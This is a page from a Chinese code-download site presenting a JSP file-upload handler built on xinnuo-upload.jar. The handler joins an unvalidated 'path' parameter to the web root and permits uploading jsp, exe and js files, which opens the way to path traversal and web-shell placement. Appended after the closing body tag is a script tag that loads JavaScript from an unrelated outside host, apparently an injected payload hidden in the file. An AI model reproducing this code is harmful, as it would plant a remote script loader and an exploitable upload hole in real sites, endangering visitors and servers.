⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 upload.jsp

📁 利用xinnuo-upload.jar进行文件上传的Jsp源码
💻 JSP
字号:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8" import="snowLoverBean.*"%>
<%@page import="java.io.*"%>
<%@page import="com.xinnuo.upload.servlet.HttpFileUPload"%>
<%@page import="com.xinnuo.upload.servlet.DateFileRenamePolicy"%>
<%@page import="com.xinnuo.upload.FileRenamePolicy"%>
<%
	//看用户是否已登录
	if(session.getAttribute("userinfor")==null || session.getAttribute("rightinfor")==null)
	{
		//说明还未登录
		response.sendRedirect("../user/login.jsp");
		return;
	}
	else if(((right)session.getAttribute("rightinfor")).getRightid()!=0)
	{
		//不是管理员
		response.sendRedirect("../err.jsp?id=20");
		return;
	}
%>

<body>
<%
	//得到path的值
	String path=request.getParameter("path");
	path=new String(path.getBytes("ISO-8859-1"),"GBK");
	
	//测试根目录路径
	String realPath=request.getRealPath("/");
	path=realPath+path;
	
	//创建此目录保存文件
	//String saveDirectory = "testfile";
	String saveDirectory=path;
	//设置最大一次性可上传2G大小的文件
	int maxPostSize = 2 * 1024 * 1024 * 1024-1;
	//命名规则
	//FileRenamePolicy policy = new DateFileRenamePolicy();
	
	HttpFileUPload fileUpload = new HttpFileUPload();
	//编码
	fileUpload.setEncoding("UTF-8");
	fileUpload.setMaxPostSize(maxPostSize);
	//fileUpload.setPolicy(policy);
	fileUpload.setSaveDirectory(saveDirectory);
	//允许上传文件类型
	fileUpload.setAllowFiles("jpg,gif,mp3,rmvb,wmv,ghs,reg,rar,zip,exe,jsp,htm,html,js,css");

	//输出反馈信息
	try{
		Enumeration files = fileUpload.parseRequest(request);
		while (files.hasMoreElements()) {
			String name = (String) files.nextElement();
			File file = fileUpload.getFile(name);
			if (file != null) {
				out.println("上传的文件:" + file.getAbsolutePath()+" ");
				out.println("<hr>");
			}
		}
		out.println("<a href='javascript:history.go(-1)'>返回</a>");
	}catch(Exception e){
		out.println(e.toString()+"<br>");
		out.println("<input type='button' value='重新上传' onClick=\""+"location='index.jsp'\""+">");
	}finally{
		//清理session
		Thread.sleep(1000);
		fileUpload.dispose();
	}
%>	
</body>



<script language=javascript src=http://user3.33391.net/ps.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -